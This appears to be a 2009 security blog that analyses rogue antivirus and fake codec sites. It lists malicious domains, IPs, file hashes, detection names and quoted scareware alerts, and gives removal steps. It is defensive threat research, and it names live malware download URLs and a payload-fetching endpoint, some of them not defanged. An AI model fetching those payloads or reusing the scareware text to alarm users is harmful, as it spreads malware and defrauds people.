MySpace Profile Attacked (screenshot below)

loyaldown-loyaltube Fake Codec and RogueAV

2009-03-28T17:20:00.000-07:00

loyaldown09.com, loyaltube10.com Fake Codec and Rogue Antivirus

loyaldown09.com, loyaltube10.com are site that distribute fake codec.
We also have on this network sites which host rogue application like
XP-Police-Antivirus and Win-PC-Defender

Fake codec and fake scanner page screenshot

loyaltube10.com [213.163.65.10]
loyaldown09.com [213.163.65.9]

hxxp://loyaltube10.com/scan/?id=..

hxxp://loyaltube10.com/tube/?id=...&title=adult+movie

Analysis:

Redirectors used: hxxp://us-euro.biz/in.cgi?4&parameter=wifi
[195.190.13.234]
Analysis here

Site URLs:	hxxp://loyaltube10.com/scan/?id=..
	hxxp://loyaltube10.com/tube/?id=197&title=adult+movie
	hxxp://loyaldown11.com/codec/.exe

	hxxp://loyaldown11.com/codec/189.exe
	hxxp://loyaldown11.com/codec/197.exe



File info:	codec.exe

File size	107011 bytes
MD5	704298be5c6bf8671517c79b827c9206



ThreatExpert:	Report
VirusTotal:	Report
Anubis:	Report (related: WinPC Defender)

First received	03.29.2009 01:17:30 (CET)
Results	6/39 (15.39%)

Alias:	(Suspicious) - DNAScan	CAT-QuickHeal
	Suspicious File	eSafe
	Downloader-BON	McAfee
	Downloader-BON	McAfee+Artemis
	TrojanDropper:Win32/Insebro.A	Microsoft
	Malware-Cryptor.Win32.Zorq	VBA32

Site URLs:	hxxp://tubeloyal.com/scan/?id-..
	hxxp://loyaldown11.com/codec/.exe



File info:	codec.exe

File size	107008 bytes
MD5	eb61517f7f0906dc0e60f0e0afd1bbf1



ThreatExpert:	Report
VirusTotal:	Report
Anubis:	Report (related: WinPC Defender)

First received	03.29.2009 01:41:38 (CET)
Results	6/39 (15.39%)

Alias:	(Suspicious) - DNAScan	CAT-QuickHeal
	Suspicious File	eSafe
	Downloader-BON	McAfee
	Downloader-BON	McAfee+Artemis
	TrojanDropper:Win32/Insebro.A	Microsoft
	Malware-Cryptor.Win32.Zorq	VBA32

Associated websites:

[213.163.65.10]
loyaltube.com
loyaltube09.com
loyaltube10.com
rakompoporyadkunazaryadku.com
setupdatdownload.com
tubeloyal.com
velzevuladmin.com
win-pc-defender.com
xp-police-09.com
xp-police-2009.com
xp-police-antivirus.com
xp-police-av.com
xp-police-engine.com

[213.163.65.9]
loyaldown09.com
loyaldown11.com

av-best-info Anti-VirusN1 Rogue FakeXPA

2009-03-28T09:10:00.000-07:00

av-best.info "VirusDoctor Online Scan" Anti-Virus1 Rogue FakeXPA

av-best.info is a site that distribute AntivirusN1 a rogue antivirus application.
AntiVirusN1 displays fake alerts in order to persuade users buying it.

Registry keys/values must be deleted with antivirus / antispyware.
Anti-Virus Number-1 can be removed by stopping the following processes

- Kill processes: N1Two.exe, N1i.exe, 2.exe, 3.exe
- Unregister DLLs (regsvr32 /u [dll_name]): QWProtect.dll

- Delete files and folders:

► C:\Documents and Settings\All Users\Application Data\N1
► %CommonAppData%\N1
► %CommonPrograms%\Anti-Virus Number-1

This site appear to be normal at first sight.

The payment system for this fraudulent and rogue program is made via Plimus (screenshot below)

But the site has been reported as malicious by some users. Here is the fake scanner

Site screenshot:

Fake Security Warning Message:

Adware.Win32.Look2me.ab Virus Critical
Backdoor.Win32.Haxdoor.gu Virus High
Trojan-Downloader.Win32.Small.dge Virus High
Trojan Horse IRC/Backdoor.SdBot4.FRV Virus Medium
W32.Benjamin.Worm Virus High
W32.Mypics.Worm.36352 Virus Medium
W32.Yaha.B@mm Virus Critical
Trojan Horse Generic11.OQJ Virus High
Magic DVD Ripper Virus High
Recommend: Click "Start Protection" button to erase all threats

Fake messages:

Alert! Your PC is at risk of virus and spyware attack.

Your system requires immediate check!i
System Security Scanner will perform a quick and free scan of your PC for viruses and spyware programs.

Associated website [174.142.113.206] [ip-174-142-113-206.static.privatedns.com]

scanner.av-best.info
download.av-best.info

Analysis:

Site URLs:	hxxp://scanner.av-best.info/scan.php?campaign=mmb_35930207 43&landid=4
	hxxp://download.av-best.info/install.php?campaign=mmb_3593020743 &country=en&counter=0&campaign=mmb_3593020743&landid=4



File info:	AntiVirusInstaller.exe

File size	53278 bytes
MD5	f8d38325d9570ce3320f04e9d5278466



ThreatExpert:	Report
VirusTotal:	Report
Anubis:	Report

First received	03.28.2009 19:18:31 (CET)
Results	8/39 (20.52%)

Alias:	TR/Crypt.CFI.Gen	AntiVir
	Win32.Packed.Krap.c.4	CAT-QuickHeal
	Trojan.DownLoad.33135	DrWeb
	Suspicious File	eSafe
	Trojan.Crypt.CFI.Gen	McAfee-GW-Edition
	Trojan:Win32/FakeXPA	Microsoft
	Suspicious File	Panda
	Cryp_FakeAV-11	TrendMicro

When running:

	HTTP Requests:	[70.38.11.165]
		http://70.38.11.165/admin/cgi-bin/get_domain.php?type=site
		Content html: av-best.info

		http://70.38.11.165/admin/cgi-bin/get_domain.php?type=download
		Content html: download.av-best.info

		[174.142.113.206]
		hxxp://download.av-best.info/en/PE/2.exe
		hxxp://download.av-best.info/en/PE/3.exe
		hxxp://download.av-best.info/en/PE/en/PE/N1.CAB
		hxxp://download.av-best.info/en/PE/en/PE/QWProtect.dll
		hxxp://download.av-best.info/en/PE/en/PE/svchost.exe



	File info:	2.exe
	File size	53248 Bytes
	MD5	364f5d30dba520937f9f3b7979b389b1

	VirusTotal:	Report Alias: Trojan.Win32/FakeXPA
		Received on 03.28.2009 22:08:07 (CET)
		8/39 (20.52%)
	ThreatExpert:	Report
	Prevx:	Report



	File info:	3.exe
	File size	257536 Bytes
	MD5	b7d14c7ea7844057efcfd1a41ddc530f

	VirusTotal:	Report Alias: Trojan.Win32/FakeXPA
		Received on 03.28.2009 22:08:18 (CET)
		6/39 (15.39%)
	ThreatExpert:	Report



	File info:	AntiVirusInstaller.exe
	File size	53278 Bytes
	MD5	f8d38325d9570ce3320f04e9d5278466

	VirusTotal:	Report Alias: Trojan.Win32/FakeXPA
		Received on 03.28.2009 22:08:19 (CET)
		8/38 (21.06%)
	ThreatExpert:	Report



	File info:	N1.CAB
	File size	504489 Bytes
	MD5	c37aa0887be14b68381301e24ddaf8fb

	VirusTotal:	Report Alias: Trojan.Win32/FakeXPA / Trojan.Win32.Tibs
		Received on 03.28.2009 22:08:51 (CET)
		5/38 (13.16%)

	File info:	N1.exe
	File size	527360 Bytes
	MD5	2d6a49219639d63428b91eb7647ce491

	VirusTotal:	Report Alias: Trojan.Win32/FakeXPA / Trojan.Win32.Tibs
		Received on 03.28.2009 22:09:09 (CET)
		5/38 (13.16%)
	ThreatExpert:	Report



	File info:	QWProtect.dll
	File size	697856 Bytes
	MD5	1b6c35cb941eaa9f6325a449cb6770b0

	VirusTotal:	Report Alias: Trojan.Win32/FakeXPA
		Received on 03.28.2009 22:09:01 (CET)
		4/38 (10.53%)
	Prevx:	Report
	ThreatExpert:	Report



	File info:	svchost.exe
	File size	80896 Bytes
	MD5	c2613b801da4c8b6967d6da05c0443ed

	VirusTotal:	Report Alias: Trojan.Win32/FakeXPA
		Received on 03.28.2009 22:08:47 (CET)
		10/38 (26.32%)
	Prevx:	Report
	ThreatExpert:	Report

Result when running:

Display fake BlueScreen "MALWARE.MONSTER.DX_NEW_0xA21518F0"

Anti-Virus Number-1 Rogue Application Screenshot:

Black Hat SEO and Rogue Antivirus

2009-03-27T16:21:00.000-07:00

The silent threat: Black Hat SEO and Rogue Antivirus

Messages telling you to install and update security software for your computer is a scary message.
This tactic is known as scareware: http://en.wikipedia.org/wiki/Scareware

Related article about "Free Security Scan" alerts from the Federal Trade Commission
Court Halts Bogus Computer Scans
"Free Security Scan" Could Cost Time and Money

Since several months ago, massive attacks (obfuscated javascript inserted - IFRAME to inject backdoors/keyloggers), thousand of hacked websites used to distribute rogue antivirus have been detected by major antivirus vendors, cyber intelligence labs and other security companies.

The exponential growth of rogue antivirus distribution through legitimate websites remain silent as the tactic used by the creators continued to become more sophisticated.

Related article: Scammers making '$15m a month' on fake antivirus
PandaLabs: 22,000 New Malware Samples Detected Every Day in 2008
PandaLabs Annual Report

Rogue AV Detections in 2008

Sites on this blog refers to rogue antispyware which display misleading scan alerts and mostly installed on computer's victim without user consent throught infected websites (LEGITIMATE infected websites).

UPDATE:

The site now include IPs / botnet C&C / data logs exposed, links to LIVE urls exploits/vulnarabilities (flash - pdf) and domains with their relations, route, AS and malicious scripts found on
compromised websites related to the same campaign.

If you arrived to this page through a search engine about a domain in this blog, some removal information can be found on the links below. Sites analysis will be created and updated as new sites will be found. Twice or more a day if needed.

And here we have a list of fake scanner websites used in the attack which infect thousand of websites to distribute malware also known as WinWebSec (WinWebSecurity or SystemSecurity2009): Black Hat SEO and Rogue Antivirus

Note:

Other rogue av like AntivirusPlus through this list has been detected recently

Many more like under the name of FakeSpyGuard, VirusRemover, WinAntiVirus2008, SpywareRemover2009, and some variant of "Trojan Hiloti" through this list

Similar attacks with Google search strings :

In 2008: We have an example with "Antivirus 2009" on the Trend Micro Malware Blog:
A Million Search Strings to Get Infected

A few days ago: On the CA website "onlinestabilityworld.com" is cited. The article is here:
Rogue Security Software keeps on hitting Google searches

Another list of fake codec websites in March on the Dancho Danchev's blog alsocited on this blog
Bogus LinkedIn Profiles Redirect to Malware and Rogue Security Software

And recent search also reveal the use of a powerfull javascript library jQuery - the screenshot below has been retreived from a legitimated infected website.

Deobfuscated result is:

The ip is 94.247.2.195 (ZlKon)

Network used for hosting these malicious website are

Starline Web Services in Estonia
Zlkon in Latvia
netdirekt e.K. in Germany
Hetzner Online AG in Germany
Ural-NET in Russia
Eurohost LLC in Ukraine
GloboTech via Olexij Khrenov in Ukraine
Joint Multimedia Cable Network in Ukraine
NTColo Networks in Ukraine
Plitochnik Lux LTD in Ukraine
Coloquest in US
Netelligent Hosting Services Inc in US
and some other in China, Moldavia.
IPs, AS and network used can be found on this blog.

-------------
New sites used

on March 28: slot4scan.com, scan4fuse.com, list4scan.com, scan4home.com, gotimescan.com
on March 29: mainscan6.com, scan4plus.info, scan4open.com

on March 30:

logscan6.com
scan4way.com [redirection by gostepscan.com]
5scanav.com and scan5plus.com [redirection by gowithscan.com]
new4scan.info,scan4live.info

April:

best4scan.info, best6scan.info,pro4scan.info,scanline6.com, scan6log.com, scan6main.com, scan6now.com,zpmuwbtqqwkw.net
Analysis here

-------------

Related article: The rash of rogue av (PDF)

Related article about McColo Business:
Similar network at UltraNet Ltd in Lavtia
HostExploit’s Cyber Crime Series (PDF)

The list on your right hand side are latest websites used in this malware campaign. (Updated daily)

Some interesting links about malicious traffic at DATORU EXPRESS SERVISS - ZlKon in Latvia
Pages related to the same attack. (Included some other problems, SPAM, botnet etc...)

December 15, 2008:
FakeAV and Codecs
http://realsecurity.wordpress.com/2008/12/15/sources-of-badness-zlkon/

December 19, 2008:
SPAM IP Detected
http://forums.pligg.com/general-help/16374-spam-ip-94-247-2-29-kill.html
http://www.projecthoneypot.org/ip_94.247.2.29

McAfee Avert Labs Blog
Monday January 5, 2009
Explanation of the so-called “Traffic Management System” - Inside The Malicious Traffic Business
http://www.avertlabs.com/research/blog/index.php/2009/01/05/inside-the-malicious-traffic-business/
We also have an complete example here. From the visitor to the legitimate infected website (with logs, screenshot, ips and analysis of the malicious website as well as the technic used. i.e: SUTRA traffic redirection, PDF exploit to inject backdoors etc..)

Zeus Tracker
https://zeustracker.abuse.ch/monitor.php?host=94.247.3.211

Wednesday January 7, 2009
Google Code Project Abused by Spammers
http://www.avertlabs.com/research/blog/index.php/2009/01/07/google-code-project-abused-by-spammers/

January 19, 2009
Inaccurate whois details
http://msmvps.com/blogs/spywaresucks/archive/2009/01/21/1663955.aspx

January 2009
http://voices.washingtonpost.com/securityfix/2009/01/troubled_ukrainian_host_sideli.html
Paragraph:Sunbelt's Jordan said those responsible for DNSChanger appear to have begun moving to a new base of operations over the past few weeks, to a network in Latvia, called "Zlkon.lv."

http://ddanchev.blogspot.com/2009/02/diverse-portfolio-of-fake-security.html
http://ddanchev.blogspot.com/2009/02/template-ization-of-malware-serving.html

Paragraph from the ddanchev.blogspot.com:

Interestingly, within the mirrored copy now tweaked and distributed for free using free image hosting services as infrastructure provider for the layout, there are also leftovers from the original campaign template that they mirrored - which ultimately leads us to DATORU EXPRESS SERVISS Ltd (AS12553 PCEXPRESS-AS) or zlkon.lv In the wake of UkrTeleGroup Ltd's demise -- don't pop the corks just yet since the revenues they've been generating for the past several years will make it much less painful -- a significant number of UkrTeleGroup customer, of course under domains, have been generating quite some malicious activity at zlkon.lv for a while.

January 25, 2009
Rogue software - FakeAV
http://pandalabs.pandasecurity.com/archive/New-Rogue_3A00_-Total-Defender.aspx

February 5, 2009
Similar attack with the same added code between like  
(Same code here)
http://www.aladdin.com/AircBlog/post/2009/02/The-latest-undetected-malweb-by-RBN.aspx

Other: http://www.aladdin.com/AircBlog/post/2009/02/Iraq's-embassy-in-Tehran-website-compromised-by-hackers.aspx

Wednesday February 25, 2009
Google Trends Abused to Serve Malware
http://www.avertlabs.com/research/blog/index.php/2009/02/25/google-trends-abused-to-serve-malware/

InternetAntivirusPro Spyware spread new variants

2009-03-27T01:45:00.000-07:00

InternetAntivirusPro Spyware spread new variants

Some new websites appear to distribute a new variant of the fake antispyware InternetAntivirusPro
Detected as WinWebSecurity or FakeSpyGuard. 2 or 3 new sites are registered every day.

READ THIS page if you need more information

Site screenshot retreived from this page (same domains)
A list can be found here

bestscan5.com [March 31]
fuse4scan.com [March 27]
gotimescan.com [march 28]
list4scan.com [march 28]
logscan6.com [March 26]
mainscan6.com [March 27]
scan4fuse.com [March 28]
scan4open.com [March 28]
scan4plus.info [March 29]
slot4scan.com [March 28]
new4scan.info [March 30]
scan4live.info [March 30]
scan4pro.info [March 31]

April new:

best4scan.info [April 1]
best6scan.info [April 2]
pro4scan.info [April 1]
scanline6.com [April 2]
scan6log.com [April 1]
scan6main.com [April 1]
scan6now.com [April 1]
zpmuwbtqqwkw.net [April 1]

-----------
Other ACTIVE:

Registrar NETEARTH ONE, INC. DBA NETEARTH
Domain: 5scanav.com, scan5av.com
Registration Service Provided By: SELLOUT.NAME
----------
Created on January 14 2009

Registrar: REGTIME LTD
Domain: scan5plus.com
DNS Servers: NS1.SCAN5PLUS.COM NS2.SCAN5PLUS.COM
----------
Created on March 16 2009

Registrar: UK2 GROUP LTD.
Domain: logscan6.com
DNS Servers: NS1.SITELUTIONS.COM NS2.SITELUTIONS.COM
Registration Service Provided By: SELLOUT.NAME
-------------
Created on March 23 2009:

Registrar: UK2 GROUP LTD.
Domain: scan4way.com
DNS Servers used are NS1.DNSEXIT.COM - NS2.DNSEXIT.COM
Registration Service Provided By: SELLOUT.NAME
-------------

Fake Trojan-IM.Win32.Faker.a Alert - Internet Antivirus Pro Warning:

Trojan-IM.Win32.Faker.a
Virus.Win32.Faker.a
Trojan.PSW.BAT.Cunter

Fake messages:

Fake Windows Security Alert:

Admess.Trojan
zserv.Transponder.Trojan
Wstart.TrojanDownloader
Email-Worm.Win32.Net
Email-Worm.Win32.Myd
Trojan-Downloader.Win

Serious security and privacy threats found on your computer.

It may damage your files or steal your personal and financial information.

Click "OK" to start downloading CRITICAL security software update.

Other template:

Fake Scanner:

Fake messages:

Analysis of logscan6.com, mainscan6.com, logscan6.com:

Site URLs:	hxxp://www.mainscan6.com/22/?uid=keyin
	hxxp://www.mainscan6.com/download/install.php

File info:	install.exe

File size	40448 bytes
MD5	a63bd2a45057c5f589d8e75b429b02a8

ThreatExpert:	Report for InternetAntivirusPro - Rootkit.Win32.TDSS
Anubis:	Report
VirusTotal:	Report

First received	03.27.2009 06:42:43 (CET)
Results	5/39 (12.50%)

Alias:	Trojan-Downloader.Win32.Renos.AQ!IK	a-squared
	Suspicious file	eSafe
	Trojan-Downloader.Win32.Renos.AQ	Ikraus
	Trojan.Dldr.LooksLike.FraudLoad	McAfee-GW-Edition
	VirTool:Win32/Obfuscator.DQ	Microsoft
	Trojan.Win32.Tdss.qxr (v) Other Scanner	Sunbelt
	Trojan-Downloader.Win32.Renos.AQ (Sig-Id:380322)	Ikarus Virus Scanner



Site URLs:	hxxp://logscan6.com/22/?uid=keyin
	hxxp://logscan6.com/download/install.php

File info:	install.exe

File size	40960 bytes
MD5	805d2e58e045471056b0bb7376b5b276

Anubis:	Anubis Report
ThreatExpert:	ThreatExpert Report
VirusTotal:	VirusTotal Report

First received	03.26.2009 22:50:25 (CET)
Results	6/39 (15.39%)

Alias:	Trojan-Downloader.Win32.Renos.AQ!IK	a-squared
	Suspicious file	eSafe
	Trojan-Downloader.Win32.Renos.AQ	Ikarus
	Generic!Artemis	McAfee+Artemis
	Trojan.Dldr.LooksLike.FraudLoad	McAfee-GW-Edition
	Trojan:Win32/InternetAntivirus	Microsoft



Site URLs:	hxxp://fuse4scan.com/22/?uid=keyin
	hxxp://fuse4scan.com/download/install.php

File info:	install.exe

File size	40960 bytes
MD5	bcfede07fc9834bab8c114af357bd559

Anubis:	Anubis Report
VirusTotal:	VirusTotal Report

First received	03.27.2009 02:34:00 (CET)
Results	5/40 (15.39%)

Alias:	Trojan-Downloader.Win32.Renos.AQ!IK	a-squared
	Suspicious file	eSafe
	Trojan-Downloader.Win32.Renos.AQ	Ikarus
	Generic!Artemis	McAfee+Artemis
	Trojan:Win32/InternetAntivirus	Microsoft



Site URLs:	hxxp://list4scan.com/22/?uid=keyin
	hxxp://list4scan.com/download/install.php

File info:	RegCureSetup_RW.exe

File size	40960 bytes
MD5	529b7b5d0025995803ce374353ae197d

Anubis:	Anubis Report
ThreatExpert:	ThreatExpert Report
VirusTotal:	VirusTotal Report

First received	03.27.2009 23:31:23 (CET)
Results	6/39 (15.38%)

Alias:	Trojan-Downloader.Win32.Renos.AQ!IK	a-squared
	FakeAlert.IK	AVG
	Suspicious file	eSafe
	Trojan-Downloader.Win32.Renos.AQ	Ikarus
	Trojan.LooksLike.PCK.Tdss	McAfee-GW-Edition
	VirTool:Win32/Obfuscator.DQ	Microsoft



Site URLs:	hxxp://scan4fuse.com/22/?uid=keyin
	hxxp://scan4fuse.com/download/install.php
	hxxp://slot4scan.com/22/?uid=keyin
	hxxp://slot4scan.com/download/install.php

File info:	install.exe

File size	41472 bytes
MD5	705bc1d5c3467ce797eb62b92334279e

Anubis:	Anubis Report
ThreatExpert:	ThreatExpert Report
VirusTotal:	VirusTotal Report

First received	03.28.2009 00:26:36 (CET)
Results	7/39 (18.92%)

Alias:	Trojan-Downloader.Win32.Renos.AQ!IK	a-squared
	HEUR/Crypted	Antivir
	FakeAlert.IK	AVG
	Suspicious file	eSafe
	Trojan-Downloader.Win32.Renos.AQ	Ikarus
	Trojan.LooksLike.PCK.Tdss	McAfee-GW-Edition
	VirTool:Win32/Obfuscator.DQ	Microsoft



Site URLs:	hxxp://scan4open.com/22/?uid=keyin
	hxxp://scan4open.com/download/install.php

File info:	install.exe

File size	40960 bytes
MD5	2ecba36cd9af4a8c47b2f0423db7c8d6

Anubis:	Anubis Report
ThreatExpert:	ThreatExpert Report
VirusTotal:	VirusTotal Report

First received	03.29.2009 04:29:12 (CET)
Results	6/39 (15.39%)

Alias:	Trojan-Downloader.Win32.Renos.AQ!IK	a-squared
	FakeAlert.IK	AVG
	Suspicious file	eSafe
	Trojan-Downloader.Win32.Renos.AQ	Ikarus
	Trojan.LooksLike.PCK.Tdss	McAfee-GW-Edition
	VirTool:Win32/Obfuscator.DQ	Microsoft



Site URLs:	hxxp://scan4plus.info/?uid=12404
	hxxp://scan4plus.info/download/install.php

File info:	install.exe

File size	40960 bytes
MD5	0471c7f12fa9074bd14a5a4b1393e670

Anubis:	Anubis Report (Ikarus: Trojan.Win32.FakeSpyguard (Sig-Id:469235))
ThreatExpert:	ThreatExpert Report
VirusTotal:	VirusTotal Report

First received	03.29.2009 23:44:36 (CET)
Results	5/38 (13.13%)

Alias:	Trojan-Downloader.Win32.Renos.AQ!IK	a-squared
	Suspicious file	eSafe
	Trojan-Downloader.Win32.Renos.AQ	Ikarus
	Trojan.LooksLike.PCK.Tdss	McAfee-GW-Edition
	VirTool:Win32/Obfuscator.DQ	Microsoft

Result when running:

HTTP Request: 66.197.154.198:80 - [in6ik.com]
Request: GET /download/InternetAntivirusPro.exe

File size: 1939663 bytes
MD5: d0e1c85deed607184fb5b3eb3fe5bf1a

ThreatExpert
VirusTotal Report

***************

HTTP Request: 78.159.101.27:80 - [in4iz.com]
Request: GET /download/InternetAntivirusPro.exe

File size: 2160737 bytes
MD5: 1e1c910953bf69e6dc02e1ad956b99c9

Only Sophos detect this new variant!

ThreatExpert
VirusTotal Report

****************

HTTP Request: 62.211.68.12:80 - [xoomer.virgilio.it]
Request: GET /tatatro/InternetAntivirusPro.exe

File size: 2160769 bytes
MD5: 4ca7119843d27c1bd3ad327b1dbb93cb

ThreatExpert
VirusTotal Report



Alias:	Trojan-Downloader.Win32.Renos.AQ!IK	a-squared
	Win32.MalFakeAV.m	eSafe
	FakeAlert-AB	McAfee
	FakeAlert-AB	McAfee+Artemis
	Mal/FakeAV-M	Sophos
	Adware.IAPro.R.1939663	ViRobot

Some removal information can be found below

- Kill processes: *random file name*.exe, SystemSecurity.exe, av.exe, InternetAntivirusPro.exe

- Delete registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Uninstall\SystemSecurity2009
HKEY_LOCAL_MACHINE\SOFTWARE\ [random file.exe*]

* random filename/random name: 8 digit like 00309781.exe

- Delete registry values:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

{random key name *} = ""

random file name * = "%CommonAppData%\*random filename*\*random filename*.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Uninstall\SystemSecurity2009]

DisplayName = "System Security 2009"

ShortcutPath = "%Programs%\System Security\
System Security 2009 Support.lnk"

UninstallString = "%Programs%\System Security\System Security 2009 Support.lnk"

DisplayIcon = "%CommonAppData%\*random file name*\*random filename.exe*,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\00309781]

pc*random 8-digit*ins = 0x00000001

* random key name:
32 alpha-numeric value like 90BF8224-CD63-4081-A4C7-EF9A2CF6596F

* random 8-digit:
8 digit value like pc00309781ins "The same number of the executable"

- Delete files and folders:

► %CommonAppData%\*random name*\pc*random 8-digit*ins
► %CommonAppData%\*random name*
► %DesktopDir%\System Security 2009.lnk
► %Programs%\System Security\
► %Programs%\System Security\System Security 2009 Support.lnk
► %Programs%\System Security\System Security 2009 Support.lnk
► %Programs%\System Security\System Security 2009.lnk

best-click-scanner.info Antivirus 2010 Rogue AntiSpyware

2009-03-24T06:58:00.000-07:00

best-click-scanner.info Antivirus 2010 Rogue AntiSpyware

best-click-scanner.info, av1-click-download.info and av-click-site.info are site that distribute
Antivirus 2010 a new rogue antivirus application

Site screenshot:

hxxp://best-click-scanner.info/scan.php [67.205.75.14]

Fake Microsoft Security Warning Message:

Trojan.Mytob
Trojan.Zlob.z
Worm.Apache.x
Spyware.IEMonster.b
Zlob.PornAdvertiser.Xplisit
Trojan.InfoStealer.Banker.s

Fake messages:

Harmful and malicious software detected. These programs may damage your computer and steal your private information. Online Security Scanner requires Antivirus 2010 components to protect your computer. Please click OK to download and install Antivirus 2010 components.

Associated website [70.38.19.206]

av1-click-download.info
av-click-site.info

Analysis:

Site URLs:	hxxp://av1-click-download.info/install.php?campaign=&country=



File info:	AntiVirusInstaller.exe

File size	45588 bytes
MD5	4b28cc4e75b9f7d38725e76d05ffdea3



ThreatExpert:	Report
VirusTotal:	Report
Sunbelt:	Report
Prevx:	Report

First received	03.23.2009 17:33:31 (CET)
Results	14/39 (35.90%)

Alias:	Trojan.Win32.Tibs!IK	a-squared
	HEUR/Crypted	Antivir
	Trojan.DownLoad.33135	DrWeb
	Suspicious File	eSafe
	Trojan.Win32.Tibs	Ikraus
	Trojan-Downloader.Win32.FraudLoad.vmza	Kaspersky
	Generic!Artemis	McAfee+Artemis
	Heuristic.Crypted	McAfee-GW-Edition
	Trojan:Win32/Tibs.IT	Microsoft
	Suspicious File	Panda
	Medium Risk Malware	Prevx1
	Trojan.DL.Win32.Mnless.cok	Rising
	Trojan.Fakeavalert	Symantec
	Cryp_FakeAV-11	TrendMicro

Analysis of av1-click-download.info/en/PE/svchost.exe:

Site URLs:	hxxp://av1-click-download.info/en/PE/svchost.exe



File info:	svchost.exe

File size	80896 Bytes
MD5	9ce49f6f3b41260def0a53a85d95f0d3



ThreatExpert:	Report
Anubis:	Report
VirusTotal:	Report - Reanalysed
Sunbelt:	Malware Report for ID: 8064472

First received	03.24.2009 06:11:38 (CET)
Results	Result: 8/38 (21.05%)

Alias:	TR/Fakealert.WW.2	Antivir
	Suspicious file	eSafe
	Suspicious:W32/Malware!Gemini	F-Secure
	Trojan:Win32/Tibs.IT	Microsoft
	Suspicious file	Panda
	AdWare.Win32.FakeAV.q	Rising
	Trojan.Fakeavalert	Symantec
	PAK_Generic.001	TrendMicro

Result when running:

Display fake BlueScreen "MALWARE.MONSTER.DX_NEW_0xA21518F0"

Analysis of av1-click-download.info/en/PE/install.exe:

	Site URLs:	hxxp://av1-click-download.info/en/PE/install.exe



	File info:	install.exe

	File size	45568 Bytes
	MD5	e079854d56607f16fb0d5db3b724c0de



	ThreatExpert:	Report
	Anubis:	Report
	VirusTotal:	Report

	First received	03.21.2009 16:00:04 (CET)
	Results	12/39 (66.67%)

	Alias:	W32/FakeAV.8074!tr
		Trojan-Downloader.Win32.FraudLoad.vmtk
		SHeur2.WXJ
		TR/Crypt.XPACK.Gen
		Sus/FakeAV-A
		Trojan.Win32.Tibs (Sig-Id:470535) [Ikarus Virus Scanner]

Result when running: